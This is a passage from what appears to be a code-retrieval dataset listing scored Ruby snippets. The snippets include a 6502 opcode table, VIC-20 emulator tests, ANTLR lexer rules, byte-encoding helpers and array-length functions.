:CMP, :imm, 2],\n [0xCA, :DEX, :imp, 2],\n [0xCB, :AXS, :imm, 2],\n [0xCC, :CPY, :abs, 4],\n [0xCD, :CMP, :abs, 4],\n [0xCE, :DEC, :abs, 6],\n [0xCF, :DCP, :abs, 6],\n [0xD0, :BNE, :rel, 2],\n [0xD1, :CMP, :izy, 5],\n [0xD2, :KIL, :imp, 0],\n [0xD3, :DCP, :izy, 8],\n [0xD4, :NOP, :zpx, 4],\n [0xD5, :CMP, :zpx, 4],\n [0xD6, :DEC, :zpx, 6],\n [0xD7, :DCP, :zpx, 6],\n [0xD8, :CLD, :imp, 2],\n [0xD9, :CMP, :aby, 4],\n [0xDA, :NOP, :imp, 2],\n [0xDB, :DCP, :aby, 7],\n [0xDC, :NOP, :abx, 4],\n [0xDD, :CMP, :abx, 4],\n [0xDE, :DEC, :abx, 7],\n [0xDF, :DCP, :abx, 7],\n [0xE0, :CPX, :imm, 2],\n [0xE1, :SBC, :izx, 6],\n [0xE2, :NOP, :imm, 2],\n [0xE3, :ISC, :izx, 8],\n [0xE4, :CPX, :zpg, 3],\n [0xE5, :SBC, :zpg, 3],\n [0xE6, :INC, :zpg, 5],\n [0xE7, :ISC, :zpg, 5],\n [0xE8, :INX, :imp, 2],\n [0xE9, :SBC, :imm, 2],\n [0xEA, :NOP, :imp, 2],\n [0xEB, :SBC, :imm, 2],\n [0xEC, :CPX, :abs, 4],\n [0xED, :SBC, :abs, 4],\n [0xEE, :INC, :abs, 6],\n [0xEF, :ISC, :abs, 6],\n [0xF0, :BEQ, :rel, 2],\n [0xF1, :SBC, :izy, 5],\n [0xF2, :KIL, :imp, 0],\n [0xF3, :ISC, :izy, 8],\n [0xF4, :NOP, :zpx, 4],\n [0xF5, :SBC, :zpx, 4],\n [0xF6, :INC, :zpx, 6],\n [0xF7, :ISC, :zpx, 6],\n [0xF8, :SED, :imp, 2],\n [0xF9, :SBC, :aby, 4],\n [0xFA, :NOP, :imp, 2],\n [0xFB, :ISC, :aby, 7],\n [0xFC, :NOP, :abx, 4],\n [0xFD, :SBC, :abx, 4],\n [0xFE, :INC, :abx, 7],\n [0xFF, :ISC, :abx, 7] ]\n end", "title": "" }, { "docid": "d4c7abd866459ed6d0925adc098080e7", "score": "0.54567784", "text": "def test_cra_returns_value_from_memory\n @memory.set_byte(0x900A, 0)\n assert_equal(0, @vic.cr[10])\n end", "title": "" }, { "docid": "25b20c044df378ac549edf3780588a3a", "score": "0.54511166", "text": "def test_orb_returns_the_value_from_memory\n @memory.set_byte(0x9110 + Vic20::VIA::ORB, 0x75)\n assert_equal(0x75, @via.ir[Vic20::VIA::ORB])\n end", "title": "" }, { "docid": "c7103e44bc90125085c08264410888ba", "score": "0.5426599", "text": "def bcs(mode)\n # b0: r, Program Counter Relative\n @pc = argument(mode) if flag?(P_CARRY)\n end", "title": "" }, { "docid": "af8118fafb19c5400143eafdb7f9a4ba", "score": "0.5425922", "text": "def ra\n command(\"#:GR#\")\n return read_LX200\n end", "title": "" }, { "docid": "44dac4a14cf9f99be773552add65951f", "score": "0.5423243", "text": "def bcc(mode)\n # 90: r, Program Counter Relative\n @pc = addr unless flag?(P_CARRY)\n end", "title": "" }, { "docid": "05aa7f9953abe67304eae2b70c6f6861", "score": "0.5386305", "text": "def handle_code_b(data)\n indata = data.dup\n outdata = CODEB.dup #We know this is going to start with Code B\n while char = indata.slice!(0)\n if control_character?(char) #Found a control character (Code A)\n if control_before_lowercase?(indata) #There is another control character before any lowercase, so\n outdata << handle_code_a(char+indata) #switch over to Code A.\n break\n else\n outdata << SHIFT << char #Can use a shift to only encode this char as Code A\n end\n else\n outdata << char\n end\n end#while\n\n outdata\n end", "title": "" }, { "docid": "56e51b524074109034d1cd66f1a35917", "score": "0.5360475", "text": "def to_ber_contextspecific(code)\n to_ber(0x80 + code)\n end", "title": "" }, { "docid": "317395365f685e4ade33535efd837aaa", "score": "0.53587353", "text": "def test_cr2_returns_value_from_memory\n @memory.set_byte(0x9002, 150)\n assert_equal(150, @vic.cr[2])\n end", "title": "" }, { "docid": "7ce4fcac1053437dd79c70025e9b7850", "score": "0.5352425", "text": "def _C\n _tmp = _letter(\"c\", \"C\")\n set_failed_rule :_C unless _tmp\n return _tmp\n end", "title": "" }, { "docid": "f0ee43ae523a2bd349209ae4280de9f7", "score": "0.53177303", "text": "def CR_setup()\n \"CR0,1,0,1,0,1;\"\nend", "title": "" }, { "docid": "48a3c88ef8f14654d381f5f4700c783d", "score": "0.5307202", "text": "def register_byte\n case primary_opcode\n when 0x81\n register = operand1\n mod = '11'\n reg = '000' # for add immediate instruction\n rm = register.extension.to_s(2).rjust(3, '0')\n \"#{mod}#{reg}#{rm}\".to_i(2)\n end\n end", "title": "" }, { "docid": "2ae21fa84e5b27de6e75e6d595fccc35", "score": "0.53036004", "text": "def co2\n r_UART_CO2_ClearTxBuffer\n r_UART_CO2_ClearRxBuffer\n r_UART_CO2_PutArray([0xff, 0x01, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x79], 9)\n sleep 0.1\n res = []\n # for i in 0..8 do # todo: use this line after implementing #each\n #i = 0\n #while 0 < 9 # todo: this loop causes memory leak\n # res[i] = r_UART_CO2_GetByte\n res[0] = r_UART_CO2_GetByte\n res[1] = r_UART_CO2_GetByte\n res[2] = r_UART_CO2_GetByte\n res[3] = r_UART_CO2_GetByte\n res[4] = r_UART_CO2_GetByte\n res[5] = r_UART_CO2_GetByte\n res[6] = r_UART_CO2_GetByte\n res[7] = r_UART_CO2_GetByte\n res[8] = r_UART_CO2_GetByte\n # i += 1\n # end\n if res[0] == 255 && res[1] == 134\n return res[2] * 256 + res[3]\n else\n return false\n end\nend", "title": "" }, { "docid": "be6308112bb27cf622394d4f44759657", "score": "0.52929294", "text": "def titanium_bangle_weapon_code\n s_to_h('0C 78 03 01')\nend", "title": "" }, { "docid": "b8c4f2970680f88aae788eef4ed17692", "score": "0.5284934", "text": "def e_byte num\n\t\t[num].pack(\"C\")\n\tend", "title": "" }, { "docid": "3f4543dacc21ed4ace444b2c49483661", "score": "0.5280284", "text": "def read_LX200\n string = \"\"\n loop {\n char = @port.read(1)\n if char\n\tbreak if char =~ /#/\n\tstring = string + char\n else \n\tbreak\n end\n }\n return string + \"\\0\"\n end", "title": "" }, { "docid": "016e5494221c7adb450a4cac9e463b3d", "score": "0.5276656", "text": "def test_bt_ecx_literal\n asm.ecx.bt 1\n assert_equal [0x0F, 0xBA, 0b11100001, 1], stream\n end", "title": "" }, { "docid": "20210dc22ddcfbd377e4890a317a6370", "score": "0.5274142", "text": "def test_crd_returns_value_from_memory\n @memory.set_byte(0x900D, 0)\n assert_equal(0, @vic.cr[13])\n end", "title": "" }, { "docid": "ebb4a76126eaa769455e42ba2a027db4", "score": "0.52730703", "text": "def test_acr_returns_the_value_from_memory\n @memory.set_byte(0x9110 + Vic20::VIA::ACR, 0x78)\n assert_equal(0x78, @via.ir[Vic20::VIA::ACR])\n end", "title": "" }, { "docid": "4a26d11d96f68d7e1a5e4c120ae615ea", "score": "0.52694654", "text": "def crl(*) end", "title": "" }, { "docid": "5cdb4d7bb82aec52a912b8f68a6c157b", "score": "0.5257275", "text": "def getc(*) end", "title": "" }, { "docid": "abe225f85ba20d9cb8f6bcad8b209e2a", "score": "0.5257268", "text": "def xbee_cmd(cmd)\n write_response = @serial.write(\"+++\")\n if @serial.read(write_response) == (\"OK\\r\")\n cmd_response = @serial.write(\"#{cmd}\\r\")\n resp = @serial.read(cmd_response)\n @serial.write('ATCN\\r')\n return resp\n end\nend", "title": "" }, { "docid": "59e587e9167407df1cab232c8dad9f1f", "score": "0.52569884", "text": "def exec_BCS(operand, _mode)\n __exec_B__(:carry, true, operand)\n end", "title": "" }, { "docid": "8a2342c3e576df9bdfbadd3711cc4088", "score": "0.5253306", "text": "def oracle_card\n s_to_h(<<-S)\n B1 96 B1 D3 ED AE 5F 92 36 78 03 01 06 FF FF FF\n FF 00 00 00 00 CF 18 01 0B 30 00 00 00 38 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 02 00 00 00 02 00 00 00 99 32 C5 C4 CC 57 6D\n 43 27 9E 00 01 FF FF FF FF 99 32 C5 C4 CC 57 6D\n 43 27 9E 00 01 FF FF FF FF 01 00 00 00 99 32 C5\n C4 CC 57 6D 43 27 9E 00 01 FF FF FF FF 13 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00\n 00\n S\nend", "title": "" }, { "docid": "42a6492663fb8d27c20ed111ca7fe2ba", "score": "0.5252054", "text": "def opcode; end", "title": "" }, { "docid": "42a6492663fb8d27c20ed111ca7fe2ba", "score": "0.5252054", "text": "def opcode; end", "title": "" }, { "docid": "42a6492663fb8d27c20ed111ca7fe2ba", "score": "0.5252054", "text": "def opcode; end", "title": "" }, { "docid": "42a6492663fb8d27c20ed111ca7fe2ba", "score": "0.5252054", "text": "def opcode; end", "title": "" }, { "docid": "639b016695555d9f2eaad04441149f7e", "score": "0.52436477", "text": "def read_word8\n ru(1, 'C')\n end", "title": "" }, { "docid": "f352bb13e30bf65e044f412a885bdad3", "score": "0.524281", "text": "def read_byte_c\r\n (-read_byte).byte\r\n end", "title": "" }, { "docid": "40bc0e606cdde47bf420a64cd1d66c4b", "score": "0.5239455", "text": "def t__82!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 27 )\n\n type = T__82\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 33:9: '|'\n match( 0x7c )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 27 )\n\n end", "title": "" }, { "docid": "7464bdd0fc5b9b75c1f19ad8fc2a0f3d", "score": "0.5236833", "text": "def get_008_lang_code(rec)\n rec['008'].value[35, 3] if rec['008']\n end", "title": "" }, { "docid": "5502fa7f531dd4c9ed3e73596881d992", "score": "0.52344686", "text": "def to_ber_enumerated\n \"\\012#{to_ber_internal}\"\n end", "title": "" }, { "docid": "bdb101abd57c7bf8ff2808052346fdb5", "score": "0.5228549", "text": "def bcc=(val); end", "title": "" }, { "docid": "db85632ec012c9c2e725799e4bea08d2", "score": "0.5219951", "text": "def test_cr0_returns_value_from_memory\n @memory.set_byte(0x9000, 12)\n assert_equal(12, @vic.cr[0])\n end", "title": "" }, { "docid": "ffbd9c8075b84d0e8c346d4c5a73e3f7", "score": "0.5215492", "text": "def decode\n opcode = @bits[@bits.length - 8, 8]\n\n if SCOMMANDS[opcode[4,4]].nil? or\n (SCOMMANDS[opcode[4,4]] == \"LC\" and LCOMMANDS[opcode[0,4]].nil?)\n raise ArgumentError.new \"OpCode #{ opcode.inspect } unknowen\"\n end\n\n op = (SCOMMANDS[opcode[4,4]] == \"LC\") ? LCOMMANDS[opcode[0,4]] : SCOMMANDS[opcode[4,4]]\n addr = (SCOMMANDS[opcode[4,4]] == \"LC\") ? \"\" : \" \" + @bits[0, @bits.length - 4].bin_to_hex\n\n @description = \"#{ op }#{ addr }\"\n end", "title": "" }, { "docid": "7517f26dc9d06e135178d31620175ddd", "score": "0.52150774", "text": "def test_cr8_returns_value_from_memory\n @memory.set_byte(0x9008, 255)\n assert_equal(255, @vic.cr[8])\n end", "title": "" }, { "docid": "84696137af09f151b4fbb1ac144e26f8", "score": "0.52103895", "text": "def to_fOOrth_c\r\n \"\\x00\"\r\n end", "title": "" }, { "docid": "84696137af09f151b4fbb1ac144e26f8", "score": "0.52103895", "text": "def to_fOOrth_c\r\n \"\\x00\"\r\n end", "title": "" }, { "docid": "347ca31eb74783ab6b35e3e322491643", "score": "0.5208691", "text": "def non_utf8_character\n [0x92].pack('C*')\n end", "title": "" }, { "docid": "347ca31eb74783ab6b35e3e322491643", "score": "0.5208691", "text": "def non_utf8_character\n [0x92].pack('C*')\n end", "title": "" }, { "docid": "94705c2fcee25bdd82f3f068b74f2f30", "score": "0.5205909", "text": "def test_cr7_returns_value_from_memory\n @memory.set_byte(0x9007, 0)\n assert_equal(0, @vic.cr[7])\n end", "title": "" }, { "docid": "bc8ba826c5c367cb10b61fad9aa780f7", "score": "0.5202778", "text": "def c_int!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 35 )\n\n\n\n type = C_INT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 102:8: ( '0' .. '9' )+\n # at file 102:8: ( '0' .. '9' )+\n match_count_1 = 0\n while true\n alt_1 = 2\n look_1_0 = @input.peek( 1 )\n\n if ( look_1_0.between?( 0x30, 0x39 ) )\n alt_1 = 1\n\n end\n case alt_1\n when 1\n # at line \n if @input.peek( 1 ).between?( 0x30, 0x39 )\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n\n end\n\n\n\n else\n match_count_1 > 0 and break\n eee = EarlyExit(1)\n\n\n raise eee\n end\n match_count_1 += 1\n end\n\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 35 )\n\n\n end", "title": "" }, { "docid": "5b85763b890fa4e601aa4c51a14613b3", "score": "0.5202235", "text": "def digit!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 114 )\n\n\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line \n if @input.peek( 1 ).between?( 0x30, 0x39 )\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n\n end\n\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 114 )\n\n\n end", "title": "" }, { "docid": "7deab75fa8aea012556623752f9a403b", "score": "0.5199939", "text": "def decode\n opcode = @ir.opcode\n \n if SCOMANDS[opcode[4,4]].nil? or\n (SCOMANDS[opcode[4,4]] == \"LC\" and LCOMANDS[opcode[0,4]].nil?)\n raise ArgumentError.new \"OpCode #{ opcode.inspect } unknowen\"\n end\n\n op = (SCOMANDS[opcode[4,4]] == \"LC\") ? LCOMANDS[opcode[0,4]] : SCOMANDS[opcode[4,4]]\n\n if op == \"JMN\"\n @mip = MICROPROGRAMMS[op] if akku.msb == 1\n else\n @mip = MICROPROGRAMMS[op]\n end\n end", "title": "" }, { "docid": "c82e6d8a33352df7f8ba929fa50b4fa5", "score": "0.51968133", "text": "def decode_b220\n\t\tvalue = 0\n\t\tmult = 1\n\t\teach_byte do |byte|\n\t\t\tvalue += ((byte - 35) * mult)\n\t\t\tmult *= 220\n\t\tend\n\t\tvalue\n\tend", "title": "" }, { "docid": "5ecfaaf468c26aeb080a79d7fab76df3", "score": "0.5194894", "text": "def init(key)\n @arc4 = \"\"\n\n # Setup the control array\n return if key.empty?\n\n a = []\n (0..255).each { |ii| a[ii] = \"%c\" % ii }\n\n k = (key * 256)[0..255].split(//)\n\n jj = 0\n @arc4.each_with_index do |el, ii|\n jj = ((jj + el.to_i) + k[ii].to_i) % 256\n a[ii], a[jj] = a[jj], a[ii]\n end\n @arc4 = a.join\n end", "title": "" }, { "docid": "75ecb3cdbf70a1711ffd998b1cd02b29", "score": "0.5187567", "text": "def binary_for_char(char)\n char.unpack('H*').first.to_i(16).to_s(2).rjust(8, '0')\n end", "title": "" }, { "docid": "a8ba6c8461a264b61baec0feff46ac7c", "score": "0.5184993", "text": "def chr\n end", "title": "" }, { "docid": "4a7461820f8343e233fc76a972dc0756", "score": "0.5184936", "text": "def akku_writes; @bits[26]; end", "title": "" }, { "docid": "e29f603cf60a2709ae972a056534d128", "score": "0.5184605", "text": "def decode_shift char\n 26 - (char.unpack('C*')[0] - 101)\nend", "title": "" }, { "docid": "d8404e885af21130dc1ead3ae68049c3", "score": "0.51756686", "text": "def cp_b\n reset_flags\n result = @a - @b\n\n (@a ^ @b ^ result) & 0x010 == 0x010 ? set_hc_flag : 0\n (@a ^ @b ^ result) & 0x100 == 0x100 ? set_c_flag : 0\n result & 0xFF == 0x00 ? set_z_flag : 0\n set_s_flag\n end", "title": "" }, { "docid": "3f6c8b8c4d39b4506397746adadd2a7b", "score": "0.5175013", "text": "def test_cr5_returns_value_from_memory\n @memory.set_byte(0x9005, 240)\n assert_equal(240, @vic.cr[5])\n end", "title": "" }, { "docid": "9d6afa8e1b4ae0810bc114ebac09e2d9", "score": "0.51693195", "text": "def bad_byte(c)\n\terror(sprintf(\"unexpected byte: 0x%02x\", c))\n end", "title": "" }, { "docid": "8afcf3a9a42ee3d814f6e4b072a9e2c3", "score": "0.5167207", "text": "def ASCII_to_binary(c)\n c.ord.to_s(2)\nend", "title": "" }, { "docid": "f1c5b06cb67bb0e6baf6cb7cf8ffc06a", "score": "0.5157656", "text": "def jump(command)\n\t\tjump_bits = \"000\"\n\t\tunless command.empty?\n\t\t\tjump_bits = @jump_table[command]\n\t\tend\t\n\t\treturn jump_bits\t\n\tend", "title": "" }, { "docid": "7580145d44598525c3aecf2e77744ab1", "score": "0.5151502", "text": "def test_cr4_returns_value_from_memory\n @memory.set_byte(0x9004, 0)\n assert_equal(0, @vic.cr[4])\n end", "title": "" }, { "docid": "4f16a74bf5127af4952fd5a9bd71b436", "score": "0.513938", "text": "def test_crf_returns_value_from_memory\n @memory.set_byte(0x900F, 27)\n assert_equal(27, @vic.cr[15])\n end", "title": "" }, { "docid": "0dffb018b9840551163e7892adba7650", "score": "0.51359516", "text": "def BCS addr, op\n branch(op) if status.carry?\n end", "title": "" }, { "docid": "d6bb0feb9e95a93ec941bbf8e8d9ee04", "score": "0.5125865", "text": "def next_byte\n byte = slice!(0)\n byte.nil? ? 0 : byte.unpack1('c')\n end", "title": "" }, { "docid": "d26ab33f76e4675831501e59bff27c28", "score": "0.5125549", "text": "def ctrld; [0x3B,t]; end", "title": "" }, { "docid": "53c922be1d3ffa08640a96a856d6dbd5", "score": "0.5116261", "text": "def key_to_i k\n if k.size == 1\n return k.getbyte(0)\n end\n if k =~ /^<M-/\n ch = k[3]\n return 128 + ch.ord\n elsif k == \"<CR>\"\n return 13\n elsif k =~ /^<[Cc]/\n ch = k[3]\n x = ch.ord - \"a\".ord + 1\n elsif k[0,2] == \"<F\"\n ch = k[2..-2]\n return 264 + ch.to_i\n else\n alert \"not able to bind #{k}\"\n end\n\n end", "title": "" }, { "docid": "cde34662fc9e2eff98959965d34c3d0f", "score": "0.51113987", "text": "def unpack_byte(byte)\n result = []\n case byte\n when 0 then result << '$NULL$'\n when 1 then result << '$SOH$'\n when 2 then result << '$STX$'\n when 3 then result << '$ETX$'\n when 4 then result << '$EOT$'\n when 5 then result << '$ENQ$'\n when 6 then result << '$ACK$'\n when 7 then result << '$BEL$'\n when 8 then result << '$BS$'\n when 9 then result << '$TAB$'\n when 10 then result << '$LF$'\n when 11 then result << '$VT$'\n when 12 then result << '$FF$'\n when 13 then result << '$CR$'\n when 14 then result << '$SO$'\n when 15 then result << '$SI$'\n when 16 then result << '$DLE$'\n when 17 then result << '$DC1$'\n when 18 then result << '$DC2$'\n when 19 then result << '$DC3$'\n when 20 then result << '$DC4$'\n when 21 then result << '$NAK$'\n when 22 then result << '$SYN$'\n when 23 then result << '$ETB$'\n when 24 then result << '$CAN$'\n when 25 then result << '$EN$'\n when 26 then result << '$SUB$'\n when 27 then result << '$ESC$'\n when 28 then result << '$FS$'\n when 29 then result << '$GS$'\n when 30 then result << '$RS$'\n when 31 then result << '$US$'\n when 32 then result << ' '\n when 33 then result << '!'\n when 34 then result << '\\\"'\n when 35 then result << '#'\n when 36 then result << '$'\n when 37 then result << '%'\n when 38 then result << '&'\n when 39 then result << '\\''\n when 40 then result << '('\n when 41 then result << ')'\n when 42 then result << '*'\n when 43 then result << '+'\n when 44 then result << ','\n when 45 then result << '-'\n when 46 then result << '.'\n when 47 then result << '/'\n when 48 then result << '0'\n when 49 then result << '1'\n when 50 then result << '2'\n when 51 then result << '3'\n when 52 then result << '4'\n when 53 then result << '5'\n when 54 then result << '6'\n when 55 then result << '7'\n when 56 then result << '8'\n when 57 then result << '9'\n when 58 then result << ':'\n when 59 then result << ';'\n when 60 then result << '<'\n when 61 then result << '='\n when 62 then result << '>'\n when 63 then result << '?'\n when 64 then result << '@'\n when 65 then result << 'A'\n when 66 then result << 'B'\n when 67 then result << 'C'\n when 68 then result << 'D'\n when 69 then result << 'E'\n when 70 then result << 'F'\n when 71 then result << 'G'\n when 72 then result << 'H'\n when 73 then result << 'I'\n when 74 then result << 'J'\n when 75 then result << 'K'\n when 76 then result << 'L'\n when 77 then result << 'M'\n when 78 then result << 'N'\n when 79 then result << 'O'\n when 80 then result << 'P'\n when 81 then result << 'Q'\n when 82 then result << 'R'\n when 83 then result << 'S'\n when 84 then result << 'T'\n when 85 then result << 'U'\n when 86 then result << 'V'\n when 87 then result << 'W'\n when 88 then result << 'X'\n when 89 then result << 'Y'\n when 90 then result << 'Z'\n when 91 then result << '['\n when 92 then result << '\\\\'\n when 93 then result << ']'\n when 94 then result << '^'\n when 95 then result << '_'\n when 96 then result << '`'\n when 97 then result << 'a'\n when 98 then result << 'b'\n when 99 then result << 'c'\n when 100 then result << 'd'\n when 101 then result << 'e'\n when 102 then result << 'f'\n when 103 then result << 'g'\n when 104 then result << 'h'\n when 105 then result << 'i'\n when 106 then result << 'j'\n when 107 then result << 'k'\n when 108 then result << 'l'\n when 109 then result << 'm'\n when 110 then result << 'n'\n when 111 then result << 'o'\n when 112 then result << 'p'\n when 113 then result << 'q'\n when 114 then result << 'r'\n when 115 then result << 's'\n when 116 then result << 't'\n when 117 then result << 'u'\n when 118 then result << 'v'\n when 119 then result << 'w'\n when 120 then result << 'x'\n when 121 then result << 'y'\n when 122 then result << 'z'\n when 123 then result << '{'\n when 124 then result << '|'\n when 125 then result << '}'\n when 126 then result << '~'\n when 127 then result << '$DEL$'\n else\n result << '$NOT$'\n end\n return result\n end", "title": "" }, { "docid": "fa393dff91277acdfdc2060734e87f45", "score": "0.5110552", "text": "def getc\n read(1)\n end", "title": "" }, { "docid": "e20a196e08025ca15a631d48ea187566", "score": "0.51029986", "text": "def dot_key_code= dkc\n puts \"dkc \" +dkc\n @dot_key_code = dkc\n end", "title": "" }, { "docid": "c197bc8e30e1139310aa8fe3b940185d", "score": "0.5090772", "text": "def BEG08=(arg)", "title": "" }, { "docid": "19d3002f86f38d9afc0efa1b55b74f20", "score": "0.50882846", "text": "def BCC addr, op\n branch(op) unless status.carry?\n end", "title": "" }, { "docid": "5b59a8e90e148f767d720a66e9cc5b37", "score": "0.50881606", "text": "def test_cr9_returns_value_from_memory\n @memory.set_byte(0x9009, 255)\n assert_equal(255, @vic.cr[9])\n end", "title": "" }, { "docid": "ff9bd020a8cf2bf2ad2ba4dbf9562e91", "score": "0.5088028", "text": "def test_ora_returns_the_value_from_memory\n @memory.set_byte(0x9110 + Vic20::VIA::ORA, 0x8a)\n assert_equal(0x8a, @via.ir[Vic20::VIA::ORA])\n end", "title": "" }, { "docid": "e9c957ad94e057febeeccc5917dffe64", "score": "0.50877494", "text": "def rcb!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 44 )\n\n type = RCB\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 421:7: '}'\n match( 0x7d )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 44 )\n\n end", "title": "" }, { "docid": "57a869e47b702a7616c89784bd228f77", "score": "0.5086741", "text": "def tx_diff_ctrl; (get(10) ) & 0xff; end", "title": "" }, { "docid": "575babd9595e24aec17b5cbdf1129a30", "score": "0.5080139", "text": "def bc\n (@b << 8) + @c\n end", "title": "" }, { "docid": "e2fc6f2c27d8ee3c18f9d36162a7700c", "score": "0.5078818", "text": "def get___KK(program_counter)\n @nibbles[program_counter + 2] << 4 | @nibbles[program_counter + 3]\n end", "title": "" }, { "docid": "8bb41ab367f8d28a24ffab8c438e85ea", "score": "0.50785905", "text": "def ll8; end", "title": "" }, { "docid": "23289d28988e9057049d7aa9f884346e", "score": "0.50735545", "text": "def to_foorth_c\r\n \"\\x00\"\r\n end", "title": "" }, { "docid": "dd730263af53a976e26d40511090e2d8", "score": "0.5071432", "text": "def set_Dec_backlash(sec)\n command(\"#:Bd 00*00:#{sec}#\")\n return read_GTO900\n end", "title": "" } ]
311c4c95feaa13f9d599713d3ac201a9
sum the array lengths
[ { "docid": "b9960478999684c2b536f76e22f6fc63", "score": "0.0", "text": "def solution4(input)\n end", "title": "" } ]
[ { "docid": "0a4036cf40f366d5041f1be6e4de24f5", "score": "0.7580196", "text": "def add_array_lengths(array1,array2)\n return array1.length+array2.length\nend", "title": "" }, { "docid": "3ffe4da1b61954720829721ea3bc3074", "score": "0.7424766", "text": "def add_array_lengths(array1, array2)\n return array1.length + array2.length\nend", "title": "" }, { "docid": "d9b926216515f27d711f137bc0a22d43", "score": "0.73733556", "text": "def length\n flatten.inject(0) { |sum, e| sum + e.length }\n end", "title": "" }, { "docid": "4b786fc4a01c29dac6e5a0960f1e0d39", "score": "0.73180264", "text": "def lengths arr\n\tarr_of_lengths = []\n\tarr.each { |i| arr_of_lengths.push(i.length)}\n\treturn arr_of_lengths\nend", "title": "" }, { "docid": "7ca31fe6ee797984749bc87e65e2d1b8", "score": "0.7300789", "text": "def add_array_lengths(array1, array2)\n # length = 0\n # for length in array1\n # return array1.length\n # end\n # for length in array2\n # return array2.length\n # end\n # result = array1 + array2\n result = array1.length + array2.length\n return result\nend", "title": "" }, { "docid": "94fc515fc6d414612a2bdc799192ef13", "score": "0.6969426", "text": "def size\n\t\tlengths.reduce(&:*)\n\tend", "title": "" }, { "docid": "e123190d046a5b63df47eebaf5b282c5", "score": "0.6963438", "text": "def lengths\n\t\t#NArray.calculate_dimensions(self) # doesn't work for some weird reason\n\t\tdimensions == 1 ? [length] : [length, *self[0].lengths]\n\tend", "title": "" }, { "docid": "74bc5da8cafbe41461ca46e80b1cb085", "score": "0.6875894", "text": "def count_all (array)\n count = 0\n i = 0\n while i < array.length\n count += array[i].length\n i += 1\n end\n return count\nend", "title": "" }, { "docid": "6b795377f876ef808d63e7a6e66c8b65", "score": "0.68622464", "text": "def deep_length data\n case data\n when Hash then data.length + data.inject(0) {|sum,v| sum + deep_length(v[1])}\n when Array then data.length + data.inject(0) {|sum,v| sum + deep_length(v)}\n else 0\n end\n end", "title": "" }, { "docid": "8a57acda22968a5cc8a2d83bbed07b22", "score": "0.68597895", "text": "def length_of_array (array)\n array.size\nend", "title": "" }, { "docid": "3251b2cdb61af828d80e8a0d0bd97edb", "score": "0.683121", "text": "def length\n reduce(0) {|sum,_| sum + 1 }\n end", "title": "" }, { "docid": "6987ca8fc36c10b1b7e00c1867e56e83", "score": "0.6804991", "text": "def array_length(array)\n\treturn array.length\nend", "title": "" }, { "docid": "a03c690228bbec22eccdefcacc7885fc", "score": "0.67773765", "text": "def size\n data.values.inject(0){|m,v| m+=v.size}\n end", "title": "" }, { "docid": "d4e30324b3be4703fdbd55dc276eb917", "score": "0.6761861", "text": "def arr_sum(arr)\n return 0 if arr.empty?\n head = arr[0]\n tail = arr[1..-1]\n head.size + arr_sum(tail)\nend", "title": "" }, { "docid": "f9dd67b3320bef4f5163c03b6ee43f77", "score": "0.6744434", "text": "def size\n value.map(&:size).inject(0, :+)\n end", "title": "" }, { "docid": "549e0691c336815283708c9f5af3bb46", "score": "0.6735116", "text": "def sum arr\n\ttotal = 0\n\tif arr.size > 0\n\t\ttotal = arr.reduce(:+)\n\tend\n\n\treturn total\nend", "title": "" }, { "docid": "a71cc38ab0ec44a468a47138ddde0c42", "score": "0.6731386", "text": "def total(array) \n\tsum = 0\n\tfor i in 0.. array.length\n\tarray.each { |i| sum += i}\n\treturn sum\nend\nend", "title": "" }, { "docid": "4cc8802cf348cf105d13cf30c45aa673", "score": "0.67264897", "text": "def total(array) \n\tsum = 0\n\ti = 0\n\tfor i in 0.. array.length\n\tarray.each { |i| sum += i}\n\treturn sum\nend\nend", "title": "" }, { "docid": "e5af5f1894ba5dc4a15571aa3face8cd", "score": "0.67201495", "text": "def get_length(arr)\n arr.flatten(2).count\nend", "title": "" }, { "docid": "f74141023ee846c3cb8dd485d0c5795a", "score": "0.67011154", "text": "def arraysum\n return self.inject(0){|acc,i|acc +i}\n end", "title": "" }, { "docid": "df79047cc6918e77ed45c33659014541", "score": "0.6684248", "text": "def array_length(array)\n array.length\nend", "title": "" }, { "docid": "45aecee3d739baee7e396bb0e1e52851", "score": "0.6683402", "text": "def size\n @value.inject(0) {|acc, it| acc + it.size}\n end", "title": "" }, { "docid": "769fde9c3829cf04fa466db803754abc", "score": "0.66681445", "text": "def total(array)\n\tlength = array.length\n\tsum = 0 \n\tfor i in 0...length\n\tsum = sum + array[i]\n\tend\n\tsum\nend", "title": "" }, { "docid": "5e0b69242e35104d193a109c15e36147", "score": "0.6660472", "text": "def arrLength(arr)\n return arr.length\nend", "title": "" }, { "docid": "961149785a541ad29c7978b3c8d6b566", "score": "0.66460127", "text": "def size\n @ary.size / ARY_SLICE_SIZE\n end", "title": "" }, { "docid": "a2a015c6762a28e760b13bef8ea0f861", "score": "0.663395", "text": "def sum(arr)\n return 0 if arr.length.zero?\n\n arr.reduce(:+)\nend", "title": "" }, { "docid": "124bf0a6c54a4db22cf392dcf1df17e9", "score": "0.6599928", "text": "def sum arr\n result = 0\n #Iterate through the length of the array to find the sum of the array elements\n if 